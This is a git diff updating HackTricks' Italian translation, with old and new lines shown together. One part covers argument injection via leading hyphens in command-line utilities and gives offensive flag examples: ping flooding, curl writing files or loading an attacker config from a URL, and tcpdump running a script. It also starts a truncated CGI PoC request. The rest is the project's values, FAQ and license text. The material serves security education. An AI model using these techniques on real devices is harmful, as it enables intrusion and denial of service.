Caso reale: *Synology Photos* ≤ 1.7.0-0794 era sfruttabile tramite un evento WebSocket non autenticato che inseriva dati controllati dall'attaccante in `id_user`, poi incorporati in una chiamata `exec()`, ottenendo RCE (Pwn2Own Ireland 2024).
|
||||
|
||||
### Injection di argomenti/opzioni tramite trattino iniziale (argv, senza metacaratteri di shell)
|
||||
### Argument/Option injection via leading hyphen (argv, no shell metacharacters)
|
||||
|
||||
Non tutte le injection richiedono metacaratteri di shell. Se l'applicazione passa stringhe non affidabili come argomenti a un utility di sistema (anche con `execve`/`execFile` e senza shell), molti programmi interpreteranno comunque qualsiasi argomento che inizi con `-` o `--` come opzione. Questo permette a un attaccante di cambiare modalità, modificare percorsi di output o attivare comportamenti pericolosi senza mai entrare in una shell.
|
||||
Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with `execve`/`execFile` and no shell), many programs will still parse any argument that begins with `-` or `--` as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell.
|
||||
|
||||
Luoghi tipici in cui questo appare:
|
||||
Luoghi tipici in cui questo si manifesta:
|
||||
|
||||
- Embedded web UIs/CGI handlers che costruiscono comandi come `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, ecc.
|
||||
- Router CGI centralizzati (es., `/cgi-bin/<something>.cgi` con un parametro selector come `topicurl=<handler>`) dove più handler riutilizzano lo stesso validatore debole.
|
||||
- Embedded web UIs/CGI handlers che costruiscono comandi come `ping <user>`, `tcpdump -i <iface> -w <file>`, `curl <url>`, etc.
|
||||
- Centralized CGI routers (e.g., `/cgi-bin/<something>.cgi` con un parametro selettore come `topicurl=<handler>`) dove più handler riutilizzano lo stesso validatore debole.
|
||||
|
||||
Cosa provare:
|
||||
|
||||
- Fornire valori che iniziano con `-`/`--` per farli interpretare come flag dallo strumento a valle.
|
||||
- Abusare di flag che cambiano comportamento o scrivono file, per esempio:
|
||||
- Fornire valori che iniziano con `-`/`--` affinché vengano consumati come flag dallo strumento a valle.
|
||||
- Abusare di flag che cambiano il comportamento o scrivono file, per esempio:
|
||||
- `ping`: `-f`/`-c 100000` per stressare il dispositivo (DoS)
|
||||
- `curl`: `-o /tmp/x` per scrivere percorsi arbitrari, `-K <url>` per caricare configurazioni controllate dall'attaccante
|
||||
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` per ottenere esecuzione post-rotate in wrapper non sicuri
|
||||
- Se il programma supporta `--` (end-of-options), provare a bypassare mitigazioni ingenue che prependono `--` nel posto sbagliato.
|
||||
- `curl`: `-o /tmp/x` per scrivere in percorsi arbitrari, `-K <url>` per caricare una config controllata dall'attaccante
|
||||
- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` per ottenere l'esecuzione post-rotate in wrapper non sicuri
|
||||
- Se il programma supporta `--` end-of-options, prova a bypassare mitigazioni ingenue che antepongono `--` nel posto sbagliato.
|
||||
|
||||
Forme generiche di PoC contro dispatcher CGI centralizzati:
|
||||
Generic PoC shapes against centralized CGI dispatchers:
|
||||
```
|
||||
POST /cgi-bin/cstecgi.cgi HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
@ -182,9 +183,9 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
|
||||
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
|
||||
- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
|
||||
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
|
||||
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||||
- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
|
||||
- [Estrazione di archivi Synology criptati – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
|
||||
- [Manuale di PHP proc_open](https://www.php.net/manual/en/function.proc-open.php)
|
||||
- [HTB Nocturnal: IDOR → Command Injection → Root tramite ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
|
||||
- [Unit 42 – TOTOLINK X6000R: Tre nuove vulnerabilità scoperte](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,4 +1,4 @@
|
||||
# Valori di HackTricks e FAQ
|
||||
# HackTricks Valori & FAQ
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -7,15 +7,15 @@
|
||||
> [!TIP]
|
||||
> Questi sono i **valori del progetto HackTricks**:
|
||||
>
|
||||
> - Dare accesso **GRATUITO** a risorse **EDUCATIVE di hacking** per **TUTTA** Internet.
|
||||
> - L'hacking riguarda l'apprendimento, e l'apprendimento dovrebbe essere il più libero possibile.
|
||||
> - Lo scopo di questo libro è servire come una **risorsa educativa** completa.
|
||||
> - **CONSERVARE** fantastiche tecniche di **hacking** che la community pubblica, dando agli **AUTORI ORIGINALI** tutti i **crediti**.
|
||||
> - **Non vogliamo i meriti di altre persone**, vogliamo solo conservare trucchi interessanti per tutti.
|
||||
> - Scriviamo anche le **nostre ricerche** in HackTricks.
|
||||
> - In diversi casi scriveremo solo **in HackTricks un riassunto delle parti importanti** della tecnica e **incoraggeremo il lettore a visitare il post originale** per maggiori dettagli.
|
||||
> - **ORGANIZZARE** tutte le tecniche di hacking nel libro così che siano **PIÙ ACCESSIBILI**
|
||||
> - Il team di HackTricks ha dedicato migliaia di ore gratuitamente **solo per organizzare il contenuto** così le persone possano **imparare più velocemente**
|
||||
> - Fornire accesso **FREE** a risorse **EDUCATIONAL hacking** a **ALL** Internet.
|
||||
> - Hacking riguarda l'apprendimento, e l'apprendimento dovrebbe essere il più gratuito possibile.
|
||||
> - Lo scopo di questo libro è servire come una **risorsa educativa** esaustiva.
|
||||
> - **STORE** tecniche **hacking** fantastiche che la community pubblica, dando agli **AUTORI ORIGINALI** tutti i **crediti**.
|
||||
> - Non vogliamo il merito di altre persone, vogliamo solo conservare trucchi interessanti per tutti.
|
||||
> - Scriviamo anche le nostre ricerche su HackTricks.
|
||||
> - In diversi casi scriveremo su HackTricks solo un riassunto delle parti importanti della tecnica e incoraggeremo il lettore a visitare il post originale per maggiori dettagli.
|
||||
> - **ORGANIZZARE** tutte le tecniche di **hacking** nel libro così sono **PIÙ ACCESSIBILI**
|
||||
> - Il team di HackTricks ha dedicato migliaia di ore gratuitamente **solo per organizzare il contenuto** così le persone possono **imparare più velocemente**
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@ -25,7 +25,7 @@
|
||||
>
|
||||
> - **Grazie mille per queste risorse, come posso ringraziarvi?**
|
||||
|
||||
Puoi ringraziare pubblicamente il team di HackTricks per aver messo insieme tutte queste risorse con un tweet menzionando [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
||||
Puoi ringraziare pubblicamente il team di HackTricks per aver raccolto tutte queste risorse con un tweet menzionando [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
|
||||
Se sei particolarmente riconoscente puoi anche [**sponsorizzare il progetto qui**](https://github.com/sponsors/carlospolop).\
|
||||
E non dimenticare di **mettere una stella ai progetti su Github!** (Trova i link sotto).
|
||||
|
||||
@ -33,12 +33,12 @@ E non dimenticare di **mettere una stella ai progetti su Github!** (Trova i link
|
||||
>
|
||||
> - **Come posso contribuire al progetto?**
|
||||
|
||||
Puoi **condividere nuovi suggerimenti e trucchi con la community o correggere bug** che trovi nei libri inviando una **Pull Request** alle rispettive pagine Github:
|
||||
Puoi **condividere nuovi consigli e trucchi con la community o correggere bug** che trovi nei libri inviando una **Pull Request** alle rispettive pagine GitHub:
|
||||
|
||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||
|
||||
Non dimenticare di **mettere una stella ai progetti su Github!**
|
||||
Non dimenticare di **mettere una stella ai progetti GitHub!**
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
@ -50,7 +50,7 @@ Sì, puoi, ma **non dimenticare di menzionare il/i link specifici** da cui è st
|
||||
>
|
||||
> - **Come posso citare una pagina di HackTricks?**
|
||||
|
||||
Finché appare il link **della** pagina(e) da cui hai preso l'informazione è sufficiente.\
|
||||
Finché appare il link della/le pagina/e da cui hai preso le informazioni è sufficiente.\
|
||||
Se hai bisogno di un bibtex puoi usare qualcosa del genere:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
```
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Posso copiare tutti gli HackTricks nel mio blog?**
|
||||
>
|
||||
> - **Can I copy all HackTricks in my blog?**
|
||||
|
||||
**Preferirei di no**. Questo **non gioverebbe a nessuno** dato che tutto il **contenuto è già pubblicamente disponibile** nei libri ufficiali di HackTricks gratuitamente.
|
||||
|
||||
Se temi che possa scomparire, basta forkare su Github o scaricarlo; come detto, è già gratuito.
|
||||
Se temi che possa sparire, basta fare fork su Github o scaricarlo; come ho detto è già gratuito.
|
||||
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Perché avete degli sponsor? I libri HackTricks hanno fini commerciali?**
|
||||
>
|
||||
Il primo **valore** di **HackTricks** è offrire risorse educative di hacking **GRATUITE** a **TUTTO** il mondo. Il team di HackTricks ha **dedicato migliaia di ore** per offrire questo contenuto, nuovamente, **GRATUITAMENTE**.
|
||||
> - **Why do you have sponsors? Are HackTricks books for commercial purposes?**
|
||||
|
||||
Se pensi che i libri HackTricks siano creati per **fini commerciali** ti sbagli **COMPLETAMENTE**.
|
||||
Il primo **valore** di **HackTricks** è offrire risorse educative di hacking **GRATUITE** a **TUTTO** il mondo. Il team di HackTricks ha **dedicato migliaia di ore** per offrire questo contenuto, ancora una volta, **GRATUITAMENTE**.
|
||||
|
||||
Abbiamo sponsor perché, anche se tutto il contenuto è **GRATUITO**, vogliamo dare alla **community la possibilità di apprezzare il nostro lavoro** se lo desidera. Pertanto offriamo alle persone l'opzione di donare a HackTricks tramite [**Github sponsors**](https://github.com/sponsors/carlospolop), e **aziende di cybersecurity rilevanti** possono sponsorizzare HackTricks e inserire **alcuni annunci** nel libro, posizionando gli **annunci** sempre in punti che li rendano **visibili** ma che **non disturbino il processo di apprendimento** se qualcuno si concentra sul contenuto.
|
||||
Se pensi che i libri di HackTricks siano fatti per **scopi commerciali** ti sbagli **COMPLETAMENTE**.
|
||||
|
||||
Non troverai HackTricks pieno di annunci fastidiosi come altri blog con molto meno contenuto, perché HackTricks non è fatto per fini commerciali.
|
||||
Abbiamo sponsor perché, anche se tutto il contenuto è GRATUITO, vogliamo **offrire alla community la possibilità di apprezzare il nostro lavoro** se lo desidera. Pertanto, offriamo alle persone l'opzione di donare a HackTricks tramite [**Github sponsors**](https://github.com/sponsors/carlospolop), e ad **aziende rilevanti nel settore della cybersecurity** di sponsorizzare HackTricks e di inserire alcune pubblicità nel libro, con le **pubblicità** sempre posizionate in punti dove risultano **visibili** ma **non disturbano il processo di apprendimento** se qualcuno si concentra sul contenuto.
|
||||
|
||||
Non troverai HackTricks pieno di pubblicità fastidiose come altri blog con molto meno contenuto di HackTricks, perché HackTricks non è fatto per scopi commerciali.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **Cosa devo fare se una pagina di HackTricks è basata su un mio post del blog ma non è referenziata?**
|
||||
>
|
||||
**Ci dispiace molto. Questo non dovrebbe essere successo**. Per favore, faccelo sapere tramite Github issues, Twitter, Discord... il link della pagina HackTricks con il contenuto e il link del tuo blog e **lo controlleremo e lo aggiungeremo il prima possibile**.
|
||||
> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?**
|
||||
|
||||
**Ci dispiace molto. Questo non avrebbe dovuto accadere**. Per favore, faccelo sapere tramite Github issues, Twitter, Discord... il link della pagina di HackTricks con il contenuto e il link del tuo blog e **verificheremo e aggiungeremo il riferimento il prima possibile**.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **Cosa devo fare se c'è contenuto del mio blog in HackTricks e non voglio che ci sia?**
|
||||
>
|
||||
> - **What should I do if there is content from my blog in HackTricks and I don't want it there?**
|
||||
|
||||
Nota che avere link alla tua pagina in HackTricks:
|
||||
|
||||
- Migliora la tua **SEO**
|
||||
- Il contenuto viene **tradotto in più di 15 lingue** permettendo a più persone di accedere a quel contenuto
|
||||
- **HackTricks incoraggia** le persone a **visitare la tua pagina** (diverse persone ci hanno segnalato che da quando una loro pagina è su HackTricks ricevono più visite)
|
||||
- Il contenuto viene **tradotto in più di 15 lingue**, rendendo possibile a più persone l'accesso a quel contenuto
|
||||
- **HackTricks incoraggia** le persone a **consultare la tua pagina** (diverse persone ci hanno detto che da quando una loro pagina è su HackTricks ricevono più visite)
|
||||
|
||||
Tuttavia, se vuoi comunque che il contenuto del tuo blog sia rimosso da HackTricks, comunicacelo e provvederemo sicuramente a **rimuovere ogni link al tuo blog**, e qualsiasi contenuto basato su di esso.
|
||||
Tuttavia, se vuoi comunque che il contenuto del tuo blog venga rimosso da HackTricks comunicacelo e provvederemo definitivamente a **rimuovere ogni link al tuo blog**, e qualsiasi contenuto basato su di esso.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **Cosa devo fare se trovo contenuti copiati/incollati in HackTricks?**
|
||||
>
|
||||
Noi **diamo sempre tutti i crediti agli autori originali**. Se trovi una pagina con contenuti copiati senza la fonte originale referenziata, faccelo sapere e provvederemo o a **rimuoverla**, o a **inserire il link prima del testo**, o a **riscriverla aggiungendo il link**.
|
||||
> - **What should I do if I find copy-pasted content in HackTricks?**
|
||||
|
||||
Diamo sempre **tutti i crediti agli autori originali**. Se trovi una pagina con contenuto copiato senza la fonte originale citata, faccelo sapere e provvederemo o a **rimuoverla**, o a **aggiungere il link prima del testo**, o a **riscriverla aggiungendo il link**.
|
||||
|
||||
## LICENSE
|
||||
|
||||
Copyright © Tutti i diritti riservati salvo diversa indicazione.
|
||||
|
||||
#### Riassunto della licenza:
|
||||
#### License Summary:
|
||||
|
||||
- Attribuzione: Sei libero di:
|
||||
- Attribution: Sei libero di:
|
||||
- Share — copiare e ridistribuire il materiale in qualsiasi mezzo o formato.
|
||||
- Adapt — remixare, trasformare e creare opere derivate dal materiale.
|
||||
- Adapt — remixare, trasformare e sviluppare a partire dal materiale.
|
||||
|
||||
#### Termini aggiuntivi:
|
||||
#### Additional Terms:
|
||||
|
||||
- Third-Party Content: Alcune parti di questo blog/libro possono includere contenuti provenienti da altre fonti, come estratti da altri blog o pubblicazioni. L'uso di tali contenuti avviene sotto i principi del fair use o con il permesso esplicito dei rispettivi detentori dei diritti d'autore. Si prega di fare riferimento alle fonti originali per informazioni specifiche sulla licenza relative ai contenuti di terze parti.
|
||||
- Authorship: Il contenuto originale redatto da HackTricks è soggetto ai termini di questa licenza. Sei incoraggiato ad attribuire questo lavoro all'autore quando lo condividi o lo adatti.
|
||||
- Third-Party Content: Alcune parti di questo blog/libro possono includere contenuti provenienti da altre fonti, come estratti da altri blog o pubblicazioni. L'uso di tali contenuti viene effettuato secondo i principi del fair use o con permesso esplicito dai rispettivi titolari dei diritti d'autore. Si prega di fare riferimento alle fonti originali per informazioni specifiche sulla licenza relative ai contenuti di terze parti.
|
||||
- Authorship: Il contenuto originale creato da HackTricks è soggetto ai termini di questa licenza. Sei incoraggiato ad attribuire questo lavoro all'autore quando lo condividi o lo adatti.
|
||||
|
||||
#### Esenzioni:
|
||||
#### Exemptions:
|
||||
|
||||
- Commercial Use: Per richieste riguardanti l'uso commerciale di questo contenuto, contattami.
|
||||
|
||||
Questa licenza non concede alcun diritto relativo a marchi o branding in relazione al contenuto. Tutti i marchi e i brand presenti in questo blog/libro sono proprietà dei rispettivi proprietari.
|
||||
Questa licenza non concede alcun diritto su marchi o branding in relazione al contenuto. Tutti i marchi e i brand presenti in questo blog/libro sono di proprietà dei rispettivi titolari.
|
||||
|
||||
**Accedendo o utilizzando HackTricks, accetti di rispettare i termini di questa licenza. Se non sei d'accordo con questi termini, per favore non accedere a questo sito.**
|
||||
|
||||
## **Esclusione di responsabilità**
|
||||
## **Disclaimer**
|
||||
|
||||
> [!CAUTION]
|
||||
> Questo libro, 'HackTricks', è pensato esclusivamente per scopi educativi e informativi. Il contenuto di questo libro è fornito "così com'è", e gli autori e gli editori non forniscono alcuna dichiarazione o garanzia di alcun tipo, espressa o implicita, circa la completezza, accuratezza, affidabilità, idoneità o disponibilità delle informazioni, dei prodotti, dei servizi o delle immagini correlate contenute in questo libro. Qualsiasi affidamento su tali informazioni è quindi strettamente a tuo rischio.
|
||||
> Questo libro, 'HackTricks,' è destinato esclusivamente a scopi educativi e informativi. Il contenuto all'interno di questo libro è fornito su base "as is", e gli autori e i publisher non forniscono alcuna dichiarazione o garanzia di alcun tipo, espressa o implicita, sulla completezza, accuratezza, affidabilità, idoneità o disponibilità delle informazioni, prodotti, servizi o grafici correlati contenuti in questo libro. Qualsiasi fiducia riposta in tali informazioni è pertanto a tuo esclusivo rischio.
|
||||
>
|
||||
> Gli autori e gli editori non saranno in alcun caso responsabili per qualsiasi perdita o danno, inclusi, senza limitazione, perdite o danni indiretti o consequenziali, o qualsiasi perdita o danno derivante da perdita di dati o profitti risultanti dall'uso di questo libro o in connessione con esso.
|
||||
> Gli autori e i publisher non saranno in alcun caso responsabili per qualsiasi perdita o danno, inclusi, a titolo esemplificativo ma non esaustivo, perdite o danni indiretti o consequenziali, o qualsiasi perdita o danno derivante dalla perdita di dati o profitti derivanti da, o in connessione con, l'uso di questo libro.
|
||||
>
|
||||
> Inoltre, le tecniche e i suggerimenti descritti in questo libro sono forniti a scopo educativo e informativo e non devono essere utilizzati per attività illegali o malevole. Gli autori e gli editori non approvano né supportano attività illegali o non etiche, e qualsiasi uso delle informazioni contenute in questo libro è a rischio e discrezione dell'utente.
|
||||
> Inoltre, le tecniche e i suggerimenti descritti in questo libro sono forniti esclusivamente a scopo educativo e informativo, e non dovrebbero essere utilizzati per attività illegali o dannose. Gli autori e i publisher non avallano né supportano attività illegali o non etiche, e qualsiasi uso delle informazioni contenute in questo libro è a rischio e discrezione dell'utente.
|
||||
>
|
||||
> L'utente è l'unico responsabile per qualsiasi azione intrapresa sulla base delle informazioni contenute in questo libro, e dovrebbe sempre cercare consulenza e assistenza professionale quando tenta di implementare qualsiasi tecnica o consiglio qui descritti.
|
||||
> L'utente è l'unico responsabile per qualsiasi azione intrapresa sulla base delle informazioni contenute in questo libro, e dovrebbe sempre cercare consulenza e assistenza professionale quando tenta di implementare una qualsiasi delle tecniche o dei suggerimenti qui descritti.
|
||||
>
|
||||
> Utilizzando questo libro, l'utente accetta di sollevare gli autori e gli editori da qualsiasi e tutta responsabilità e responsabilità per eventuali danni, perdite o danni che potrebbero derivare dall'uso di questo libro o di qualsiasi informazione in esso contenuta.
|
||||
> Utilizzando questo libro, l'utente accetta di sollevare gli autori e i publisher da qualsiasi e tutta responsabilità per eventuali danni, perdite o pregiudizi che possano derivare dall'uso di questo libro o di qualsiasi delle informazioni in esso contenute.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user